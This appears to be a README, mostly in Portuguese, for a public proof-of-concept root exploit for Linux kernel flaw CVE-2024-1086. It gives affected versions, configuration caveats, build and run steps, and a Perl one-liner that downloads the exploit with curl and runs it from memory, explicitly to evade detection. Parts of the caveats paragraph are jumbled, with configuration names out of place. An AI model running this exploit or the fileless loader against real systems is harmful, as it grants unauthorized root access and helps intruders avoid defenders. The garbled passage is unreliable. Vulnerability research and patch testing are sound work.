
Universal local privilege escalation Proof-of-Concept exploit for CVE-2024-1086, working on most Linux kernels between v5.14 and v6.6, including Debian, Ubuntu, and KernelCTF. The success rate is 99.4% in KernelCTF images.
Exploração de prova de conceito universal de escalada de privilégios locais para CVE-2024-1086, funcionando na maioria dos kernels Linux entre v5.14 e v6.6, incluindo Debian, Ubuntu e KernelCTF. A taxa de sucesso é de 99,4% nas imagens do KernelCTF.
https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de
Um artigo completo sobre a exploração - incluindo informações de fundo e muitos diagramas úteis - pode ser encontrado na postagem do blog Flipping Pages.
A exploração afeta as versões de (incluindo) v5.14 a (incluindo) v6.6, excluindo os ramos corrigidos v5.15.149>, v6.1.76>, v6.6.15>. O patch para essas versões foi lançado em fevereiro de 2024. A vulnerabilidade subjacente afeta todas as versões (excluindo ramos estáveis corrigidos) de v3.15 a v6.8-rc1.
Ressalvas:
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y (incluindo Ubuntu v6.5)CONFIG_USER_NS=y), que esses namespaces de usuário sejam não privilegiados (comando sh = 1), e que nf_tables esteja habilitado (kconfig ). Por padrão, todos estão habilitados no Debian, Ubuntu e KernelCTF. Outras distribuições não foram testadas, mas podem funcionar também. Além disso, a exploração foi testada apenas em x64/amd64.sysctl kernel.unprivileged_userns_cloneCONFIG_NF_TABLES=yOs valores padrão devem funcionar imediatamente no Debian, Ubuntu e KernelCTF com um shell local. Em configurações/distribuições não testadas, certifique-se de que os valores de kconfig correspondam ao kernel alvo. Eles podem ser especificados em src/config.h. Se você estiver executando a exploração em uma máquina com mais de 32GiB de memória física, certifique-se de aumentar CONFIG_PHYS_MEM. Se você estiver executando a exploração via SSH (na máquina de teste) ou um reverse shell, pode querer alternar CONFIG_REDIRECT_LOG para 1 para evitar atividade de rede desnecessária.
Se isso for impraticável para você, há um binário x64 compilado com a configuração padrão.
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
Binário: CVE-2024-1086/exploit
Executar a exploração é igualmente trivial:
./exploit
A execução sem arquivo também é suportada, em casos de situações de pentest onde as detecções precisam ser evitadas. No entanto, o Perl precisa estar instalado no alvo:
perl -e '
require qw/syscall.ph/;
my $fd = syscall(SYS_memfd_create(), $fn, 0);
system "curl https://example.com/exploit -s >&$fd";
exec {"/proc/$$/fd/$fd"} "memfd";
'
Os programas e scripts ("programas") neste diretório/pasta/repositório de software ("repositório") são publicados, desenvolvidos e distribuídos apenas para fins educacionais/de pesquisa. Eu ("o criador") não aprovo nenhum uso malicioso ou ilegal dos programas neste repositório, pois a intenção é compartilhar pesquisa e não realizar atividades ilegais com ele. Não sou legalmente responsável por nada que você faça com os programas neste repositório.